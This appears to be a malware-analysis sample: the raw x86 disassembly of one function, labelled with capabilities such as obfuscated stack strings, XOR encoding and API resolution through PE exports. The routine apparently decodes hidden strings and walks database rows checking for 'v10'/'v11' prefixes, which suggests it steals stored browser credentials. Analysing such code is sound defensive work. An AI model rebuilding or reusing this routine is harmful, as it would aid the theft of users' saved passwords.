Function at 0x412367
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x200
push ebx
push ebp
push esi
push edi
mov ebx, edx
mov dword [esp + 0x100], ecx
push 0x68
mov dword [esp + 0xf0], ebx
xor ecx, ecx
mov dword [esp + 0x18], 0xdfdccdb6
mov edx, 0xff
mov dword [esp + 0x1c], 0xc4d3dad7
mov dword [esp + 0x20], 0xd3d7d7ab
mov word [esp + 0x24], 0xcdd1
mov byte [esp + 0x26], 0xdb
pop esi
movzx eax, byte [esp + ecx + 0x14]
sub ax, si
and ax, dx
mov word [esp + ecx*2 + 0x168], ax
inc ecx
cmp ecx, 0xf
jl 0x4123af
xor eax, eax
mov dword [esp + 0x24], 0xa5a9a97d
push 0x3a
mov word [esp + 0x18a], ax
xor ecx, ecx
mov word [esp + 0x2c], 0x9fa3
mov byte [esp + 0x2e], 0xad
pop esi
movzx eax, byte [esp + ecx + 0x24]
sub ax, si
and ax, dx
mov word [esp + ecx*2 + 0x148], ax
inc ecx
cmp ecx, 7
jl 0x4123eb
xor eax, eax
mov word [esp + 0x156], ax
movzx eax, byte [0x42b8d8]
sub eax, 0x25a72875
mov dword [0x42b90c], eax
call fcn.00420053
mov dl, byte [0x42b8b1]
mov ebp, eax
movzx ecx, dl
sub dl, 0x77
add ecx, 0xb0d4322a
mov dword [0x42b90c], ecx
test ebp, ebp
jne 0x41246f
lea eax, [ecx + 0x54]
add cl, 0x16
mov byte [0x42b8b1], al
mov byte [0x42b8d8], cl
mov ecx, 0x89bb
movzx eax, al
or ax, cx
mov word [0x42b8a0], ax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x200
ret
lea eax, [esp + 0x168]
mov dword [esp + 0x5c], 0xc4ebf4bd
add dl, 0x3e
mov dword [esp + 0x118], eax
or cl, 0xe6
mov word [esp + 0x60], 0xf4bd
or dl, 0x46
mov byte [0x42b8b1], cl
lea eax, [esp + 0x148]
mov byte [esp + 0x62], 0xeb
xor edi, edi
mov dword [esp + 0x11c], eax
mov dword [esp + 0xf0], edi
xor esi, esi
mov al, byte [esp + esi + 0x5c]
xor al, 0x98
movzx eax, al
mov word [esp + esi*2 + 0x158], ax
inc esi
cmp esi, 7
jl 0x4124b9
push dword [esp + edi*4 + 0x118]
xor eax, eax
add dl, 0xd5
mov word [esp + 0x16a], ax
movzx eax, cl
mov ecx, 0xea3b
or ax, cx
mov byte [0x42b8d8], dl
mov word [0x42b8a0], ax
movzx eax, ax
and eax, 0x30bc2b87
mov dword [0x42b90c], eax
lea eax, [esp + 0x15c]
push ebx
push eax
call fcn.00422def
imul ecx, dword [0x42b90c], 0x1b45c24b
mov esi, eax
mov dl, byte [0x42b8d8]
add esp, 0xc
and dl, 0xfe
mov dword [esp + 0x104], esi
mov byte [0x42b8d8], dl
mov dword [0x42b90c], ecx
test esi, esi
je 0x413195
sub dl, 0x3a
mov ecx, esi
movzx eax, dl
add eax, 0x404e2add
mov byte [0x42b8b1], dl
mov dword [0x42b90c], eax
or al, 0x5b
mov byte [0x42b8d8], al
call fcn.00422f59
mov dl, byte [0x42b8b1]
mov ebx, eax
sub dl, 0x50
mov dword [esp + 0xe0], ebx
mov byte [0x42b8d8], dl
test ebx, ebx
je 0x413170
movzx ecx, dl
mov eax, 0xbcc6
xor cx, ax
sub dl, 0x59
mov word [0x42b8a0], cx
sub cl, 0x5a
mov byte [0x42b8b1], dl
xor edx, edx
mov byte [0x42b8d8], cl
mov ecx, ebx
call fcn.00423747
mov dl, byte [0x42b8b1]
mov edi, eax
movzx ecx, dl
mov eax, 0x8000
or cx, ax
mov dword [esp + 0xe4], edi
mov word [0x42b8a0], cx
test edi, edi
je 0x413114
movzx eax, byte [0x42b8d8]
xor cl, 0x69
and eax, 0xca
mov byte [0x42b8b1], cl
add eax, 0x3cb3cbf
mov dword [0x42b90c], eax
movzx eax, al
imul eax, eax, 0x2e
push 0
push 1
mov byte [0x42b8d8], al
lea eax, [esp + 0xf0]
push eax
push edi
call dword [ebp + 4]
add esp, 0x10
test eax, eax
jne 0x4130c9
push 0x18
pop eax
push 0x3a
mov byte [esp + 0x7c], al
xor ecx, ecx
pop eax
mov dword [esp + 0x79], 0x80a110a
mov dword [esp + 0x7d], 0x342de519
mov dword [esp + 0x81], 0x30243938
mov dword [esp + 0x85], 0xe5f13e2a
mov dword [esp + 0x89], 0x2d24382e
mov dword [esp + 0x8d], 0x34353939
mov dword [esp + 0x91], 0xf13e3133
mov dword [esp + 0x95], 0x392635e5
mov dword [esp + 0x99], 0x2ee5f12d
mov dword [esp + 0x9d], 0x2a382438
mov byte [esp + 0xa1], 0x28
mov byte [esp + 0xa2], al
mov dword [esp + 0xa3], 0xe5f12a37
mov dword [esp + 0xa7], 0x2e353d2a
mov dword [esp + 0xab], 0x24382a37
mov byte [esp + 0xaf], al
mov dword [esp + 0xb0], 0xe5f12839
mov dword [esp + 0xb4], 0x2a322633
mov dword [esp + 0xb8], 0x332ae5f1
mov dword [esp + 0xbc], 0x353e3728
mov dword [esp + 0xc0], 0x24292a39
mov word [esp + 0xc4], 0x263b
mov byte [esp + 0xc6], 0x31
mov byte [esp + 0xc7], al
mov dword [esp + 0xc8], 0x170be52a
mov dword [esp + 0xcc], 0x28e51214
mov dword [esp + 0xd0], 0x2e303434
mov word [esp + 0xd4], 0x382a
mov al, byte [esp + ecx + 0x78]
add al, 0x3b
mov byte [esp + ecx + 0x1b0], al
inc ecx
cmp ecx, 0x5e
jl 0x41274e
mov cx, word [0x42b8a0]
movzx eax, cx
xor cl, 8
or eax, 0xa4a55620
mov byte [esp + 0x20e], 0
add eax, 0xe99cfbbb
mov byte [0x42b8d8], cl
mov dword [0x42b90c], eax
or al, 0xc6
mov byte [0x42b8b1], al
lea eax, [esp + 0x10]
push 0
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x1bc]
push eax
push dword [esp + 0xf8]
call dword [ebp + 8]
add esp, 0x14
test eax, eax
jne 0x4131b1
movzx eax, byte [0x42b8b1]
lea edi, [esp + 0x14]
movzx ecx, byte [0x42b8b1]
imul eax, eax, 0xcf
push dword [esp + 0x10]
mov byte [0x42b8d8], al
mov eax, 0x3108
xor cx, ax
mov eax, 0xbd0d
and cx, ax
xor eax, eax
stosd dword es:[edi], eax
mov word [0x42b8a0], cx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ecx + 0x72]
mov byte [0x42b8b1], al
movzx eax, cx
or eax, 0x9c2bbff7
mov dword [0x42b90c], eax
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
jne 0x412d9c
xor ebx, ebx
mov word [esp + 0x2c], 0x5750
or edi, 0xffffffff
mov word [esp + 0x30], 9
mov ecx, ebx
mov word [esp + 0x34], 9
mov al, byte [esp + ecx + 0x2c]
xor al, 0x5d
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 2
jl 0x412833
movzx ecx, word [0x42b8a0]
and ecx, 0x9508bf32
mov byte [esp + 0xda], bl
mov dword [0x42b90c], ecx
push ebx
push dword [esp + 0x14]
lea eax, [ecx + 0x4709]
mov word [0x42b8a0], ax
lea eax, [ecx + 0x48]
or cl, 0xb9
mov byte [0x42b8b1], al
mov byte [0x42b8d8], cl
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx eax, byte [0x42b8d8]
pop ecx
mov ecx, 0x1c15
sub ax, cx
mov word [0x42b8a0], ax
mov al, byte [0x42b90c]
push 1
push dword [esp + 0x14]
add al, 5
mov byte [0x42b8b1], al
call dword [ebp + 0x10]
mov dx, word [0x42b8a0]
pop ecx
pop ecx
mov ecx, 0xdda0
xor dx, cx
mov word [0x42b8a0], dx
test eax, eax
je 0x41293f
cmp byte [eax], 0x31
jne 0x41293f
mov dword [esp + 0x3c], 0xd0a0c51
mov ecx, ebx
mov word [esp + 0x40], 0x511d
mov al, byte [esp + ecx + 0x3c]
xor al, 0x58
mov byte [esp + ecx + 0x108], al
inc ecx
cmp ecx, 6
jl 0x4128fa
movzx eax, dx
mov ecx, 0xe5d9
add eax, 0x76ece284
mov byte [esp + 0x10e], bl
mov dword [0x42b90c], eax
lea edx, [esp + 0x108]
movzx eax, byte [0x42b8d8]
xor ax, cx
mov word [0x42b8a0], ax
jmp 0x41298c
mov dword [esp + 0x44], 0x92878c4f
mov ecx, ebx
mov word [esp + 0x48], 0x8b99
mov byte [esp + 0x4a], 0x4f
mov al, byte [esp + ecx + 0x44]
sub al, 0x46
mov byte [esp + ecx + 0x120], al
inc ecx
cmp ecx, 7
jl 0x412955
mov al, byte [0x42b8b1]
lea edx, [esp + 0x120]
or dword [0x42b90c], 0x5a687bd8
xor al, 0x2c
mov byte [esp + 0x127], bl
mov byte [0x42b8d8], al
push edi
lea ecx, [esp + 0x18]
call fcn.004236a5
movzx eax, byte [0x42b8b1]
xor eax, 0x2378c625
pop ecx
mov dword [0x42b90c], eax
mov al, byte [0x42b8a0]
push 2
push dword [esp + 0x14]
add al, 0x19
mov byte [0x42b8d8], al
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
pop ecx
mov cx, word [0x42b8a0]
push 3
push dword [esp + 0x14]
lea eax, [ecx + 0x11]
mov byte [0x42b8b1], al
movzx eax, cx
and eax, 0x7b352701
mov dword [0x42b90c], eax
call dword [ebp + 0x10]
movzx esi, byte [0x42b8b1]
movzx edx, byte [0x42b8b1]
add edx, 0x17374781
mov dword [0x42b90c], edx
lea ebx, [esi - 0x43be]
mov word [0x42b8a0], bx
pop ecx
pop ecx
test eax, eax
je 0x412a81
cmp byte [eax], 0x31
jne 0x412a81
mov dword [esp + 0x24], 0x8e898fd2
xor ecx, ecx
mov word [esp + 0x28], 0xd29e
mov al, byte [esp + ecx + 0x24]
xor al, 0xdb
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, 6
jl 0x412a3f
add dl, 0x6d
mov byte [esp + 0x116], 0
mov byte [0x42b8d8], dl
lea ecx, [esp + 0x14]
and bl, 0xbb
lea edx, [esp + 0x110]
push edi
mov byte [0x42b8b1], bl
call fcn.004236a5
xor ebx, ebx
jmp 0x412ad1
xor ebx, ebx
mov dword [esp + 0x4c], 0x31262bee
mov word [esp + 0x50], 0x2a38
mov ecx, ebx
mov byte [esp + 0x52], 0xee
mov al, byte [esp + ecx + 0x4c]
add al, 0x1b
mov byte [esp + ecx + 0x128], al
inc ecx
cmp ecx, 7
jl 0x412a99
and esi, 0xb5bf
mov byte [esp + 0x12f], bl
push edi
lea edx, [esp + 0x12c]
mov word [0x42b8a0], si
lea ecx, [esp + 0x18]
call fcn.004236a5
imul eax, dword [0x42b90c], 0x54fe0326
pop ecx
push 4
push dword [esp + 0x14]
mov dword [0x42b90c], eax
xor eax, 0x173a
mov word [0x42b8a0], ax
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
mov al, byte [0x42b8d8]
lea edx, [esp + 0x34]
pop ecx
or al, 0x20
lea ecx, [esp + 0x14]
push edi
mov byte [0x42b8b1], al
call fcn.004236a5
movzx eax, byte [0x42b8b1]
sub eax, 0x124063fe
pop ecx
mov dword [0x42b90c], eax
mov al, byte [0x42b8a0]
push 5
push dword [esp + 0x14]
xor al, 0xfa
mov byte [0x42b8b1], al
call dword [ebp + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x18]
call dword [ebp + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x18]
call fcn.004236a5
add byte [0x42b8d8], 0x28
lea edx, [esp + 0x38]
pop ecx
push edi
lea ecx, [esp + 0x18]
call fcn.004236a5
mov ax, word [0x42b8a0]
or byte [0x42b8d8], 0xfa
pop ecx
mov ecx, 0x8418
and ax, cx
mov word [0x42b8a0], ax
movzx eax, ax
push 6
push dword [esp + 0x14]
add eax, 0x314260eb
mov dword [0x42b90c], eax
call dword [ebp + 0x14]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x412d5c
movzx ecx, byte [0x42b8b1]
mov eax, 0xd908
add byte [0x42b8d8], 0x8f
xor ecx, 0xf060a2c0
and word [0x42b8a0], ax
push 6
push dword [esp + 0x14]
mov dword [0x42b90c], ecx
call dword [ebp + 0x20]
cmp byte [esi], 0x76
mov edx, eax
pop ecx
pop ecx
jne 0x412cc7
cmp byte [esi + 1], 0x31
lea eax, [esi + 2]
jne 0x412cc7
cmp byte [eax], 0x30
je 0x412c14
cmp byte [eax], 0x31
jne 0x412cc7
imul eax, dword [0x42b90c], 0x352b7d7c
movzx ecx, byte [0x42b8d8]
xor eax, 0x6b85fd7f
mov dword [0x42b90c], eax
mov eax, 0xf12d
imul ecx, eax
lea eax, [esp + 0xf4]
push eax
mov word [0x42b8a0], cx
xor cl, 0x2e
mov byte [0x42b8b1], cl
mov ecx, esi
call fcn.0040face
mov esi, eax
pop ecx
test esi, esi
je 0x412d5c
movzx ecx, byte [0x42b8b1]
mov eax, 0x7124
push dword [esp + 0xf4]
imul edx, ecx, 6
movzx ecx, byte [0x42b8d8]
add cx, ax
mov word [0x42b8a0], cx
lea ecx, [esp + 0x18]
mov byte [0x42b8b1], dl
or dl, 3
movzx eax, dl
mov byte [0x42b8d8], dl
add eax, 0x7242eaca
mov edx, esi
mov dword [0x42b90c], eax
call fcn.00423263
mov al, byte [0x42b8a0]
pop ecx
or al, 0x21
push esi
mov byte [0x42b8d8], al
call fcn.004056f0
jmp 0x412d5b
mov dword [esp + 0x130], edx
mov dl, byte [0x42b90c]
push 0x68
pop ecx
movzx eax, dl
imul eax, eax, 0x14
mov dword [esp + 0x134], esi
sub cl, al
and cl, 0x8f
movzx eax, cl
mov ecx, 0x1d38
xor ax, cx
mov word [0x42b8a0], ax
lea eax, [edx - 0x44]
mov byte [0x42b8b1], al
add dl, 0x74
lea eax, [esp + 0x138]
mov byte [0x42b8d8], dl
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x148]
mov edx, 0xbedfd981
push eax
push 3
pop ecx
call fcn.00415084
call eax
test eax, eax
je 0x412d5c
movzx eax, byte [0x42b8b1]
lea ecx, [esp + 0x14]
push dword [esp + 0x138]
mov edx, dword [esp + 0x140]
or eax, 0x7cac7b35
mov dword [0x42b90c], eax
call fcn.00423263
pop ecx
movzx eax, byte [0x42b8b1]
lea edx, [esp + 0xd8]
and eax, 0xa8dcfa5e
lea ecx, [esp + 0x14]
mov dword [0x42b90c], eax
mov al, byte [0x42b8a0]
sub al, 0x28
push edi
mov byte [0x42b8d8], al
call fcn.004236a5
pop ecx
push dword [esp + 0x10]
call dword [ebp + 0xc]
pop ecx
cmp eax, 0x64
je 0x412823
mov ebx, dword [0x42b90c]
mov cl, bl
and cl, 0xc5
cmp dword [esp + 0x14], 0
je 0x413097
push 0x18
mov dword [esp + 0x68], 0x8387875b
xor edx, edx
mov dword [esp + 0x6c], 0x478b7d81
mov esi, 0xff
mov dword [esp + 0x70], 0x778b843d
mov dword [esp + 0x74], 0x468b843d
mov word [esp + 0x78], 0x908c
mov byte [esp + 0x7a], 0x8c
pop edi
movzx eax, byte [esp + edx + 0x64]
sub ax, di
and ax, si
mov word [esp + edx*2 + 0x188], ax
inc edx
cmp edx, 0x13
jl 0x412de8
xor eax, eax
mov edx, 0x4eab
mov word [esp + 0x1ae], ax
add cl, 0x77
mov ax, word [0x42b8a0]
and ebx, 0x9850b85c
add ax, dx
mov byte [0x42b8d8], cl
mov ecx, dword [esp + 0xec]
lea edx, [esp + 0xf8]
mov word [0x42b8a0], ax
and al, 0x22
mov byte [0x42b8b1], al
mov dword [0x42b90c], ebx
call fcn.00413c4d
mov dl, byte [0x42b90c]
mov esi, eax
movzx ecx, dl
imul ecx, ecx, 0x38
mov byte [0x42b8d8], cl
test esi, esi
je 0x412fc7
and dl, 0x4b
mov byte [0x42b8b1], 0xfb
movzx eax, dl
mov ecx, esi
mov edx, dword [esp + 0xf8]
imul eax, eax, 0x1f
add al, 0x74
mov byte [0x42b8d8], al
movzx eax, al
and eax, 0xbd35de1a
mov dword [0x42b90c], eax
or eax, 0x5a2f
mov word [0x42b8a0], ax
lea eax, [esp + 0xfc]
push eax
call fcn.0040face
mov dl, byte [0x42b90c]
mov edi, eax
or dl, 0x5c
mov byte [0x42b8d8], dl
pop ecx
test edi, edi
je 0x412fb4
push 0x18
pop eax
mov dword [esp + 0x54], 0x42a6b6c
xor ecx, ecx
mov byte [esp + 0x58], al
mov word [esp + 0x59], 0x415b
mov al, byte [esp + ecx + 0x54]
xor al, 0x61
mov byte [esp + ecx + 0x140], al
inc ecx
cmp ecx, 7
jl 0x412ee1
mov byte [esp + 0x147], 0
xor ecx, ecx
mov word [esp + 0x38], 0xf7f0
mov al, byte [esp + ecx + 0x38]
xor al, 0xfd
mov byte [esp + ecx + 0xdc], al
inc ecx
cmp ecx, 2
jl 0x412f05
movzx eax, word [0x42b8a0]
lea ecx, [esp + 0x14]
or dl, 0x5d
mov byte [esp + 0xde], 0
and eax, 0xfff6fddb
mov byte [0x42b8b1], dl
or eax, 0xcee24cd8
lea edx, [esp + 0x140]
push 0xffffffffffffffff
mov dword [0x42b90c], eax
call fcn.004236a5
movzx eax, byte [0x42b8d8]
mov edx, edi
pop ecx
push dword [esp + 0xfc]
sub eax, 0x3a264855
lea ecx, [esp + 0x18]
mov dword [0x42b90c], eax
call fcn.00423263
mov al, byte [0x42b90c]
lea edx, [esp + 0xe0]
pop ecx
or al, 0x15
lea ecx, [esp + 0x14]
push 0xffffffffffffffff
mov byte [0x42b8d8], al
call fcn.004236a5
movzx eax, byte [0x42b8b1]
add byte [0x42b8d8], 0x9d
add eax, 0x5bd476b1
pop ecx
push edi
mov dword [0x42b90c], eax
call fcn.004056f0
pop ecx
mov eax, 0xd0e0
and word [0x42b8a0], ax
push esi
call fcn.004056f0
pop ecx
push dword [esp + 0x214]
mov eax, 0xed4e
xor word [0x42b8a0], ax
movzx eax, byte [0x42b8b1]
push dword [esp + 0x104]
xor eax, 0x68ba2d3b
sub eax, 0x75acb03f
mov dword [0x42b90c], eax
lea eax, [esp + 0x190]
push eax
call fcn.00422def
mov dl, byte [0x42b90c]
mov esi, eax
xor dl, 0xba
add esp, 0xc
mov byte [0x42b8d8], dl
test esi, esi
je 0x41306f
movzx ecx, dl
mov eax, 0x578b
add cx, ax
add dl, 0x2c
movzx eax, byte [0x42b8b1]
and eax, 0x96e7edd5
mov word [0x42b8a0], cx
mov ecx, dword [esp + 0x14]
mov dword [0x42b90c], eax
and al, 0x9b
mov byte [0x42b8d8], dl
mov edx, dword [esp + 0x1c]
push esi
mov byte [0x42b8b1], al
call fcn.0041e192
or dword [0x42b90c], 0x405dea59
pop ecx
push esi
call fcn.004056f0
pop ecx
movzx eax, word [0x42b8a0]
push dword [esp + 0x14]
xor byte [0x42b8b1], 0x4a
sub eax, 0x7fb98c79
mov dword [0x42b90c], eax
call fcn.004056f0
pop ecx
mov cl, byte [0x42b8b1]
mov edi, dword [esp + 0xe4]
mov ebx, dword [esp + 0xe0]
push dword [esp + 0x10]
movzx eax, cl
imul eax, eax, 0x9362d149
mov dword [0x42b90c], eax
sub al, 0x65
mov byte [0x42b8b1], al
call dword [ebp + 0x18]
mov esi, dword [esp + 0x108]
pop ecx
movzx eax, word [0x42b8a0]
push dword [esp + 0xe8]
xor eax, 0x519e4cc3
mov dword [0x42b90c], eax
call dword [ebp + 0x1c]
pop ecx
mov ecx, dword [0x42b90c]
mov al, cl
and al, 0x1e
or ecx, 0xcc8ae1da
push edi
mov byte [0x42b8d8], al
mov dword [0x42b90c], ecx
call fcn.004056f0
mov dl, byte [0x42b8b1]
pop ecx
mov cx, word [0x42b8a0]
xor byte [0x42b8d8], 9
movzx eax, dl
mov edx, 0x62d87b
imul eax, eax, 0x3f
push ebx
mov byte [0x42b8b1], al
mov eax, 0x4258
or cx, ax
mov word [0x42b8a0], cx
xor ecx, ecx
inc ecx
call fcn.00415084
call eax
mov al, byte [0x42b90c]
xor al, 1
mov byte [0x42b8d8], al
movzx eax, byte [0x42b8b1]
and eax, 0x3e2f5673
push ebx
mov dword [0x42b90c], eax
call fcn.004056f0
mov edi, dword [esp + 0xf4]
pop ecx
movzx eax, word [0x42b8a0]
add eax, 0x4560af37
push esi
mov dword [0x42b90c], eax
call fcn.004056f0
mov dl, byte [0x42b8d8]
mov ebx, dword [esp + 0xf0]
pop ecx
inc edi
mov dword [esp + 0xf0], edi
cmp edi, 2
jae 0x412464
mov cl, byte [0x42b8b1]
jmp 0x4124b7
mov cl, byte [0x42b8b1]
jmp 0x4130a5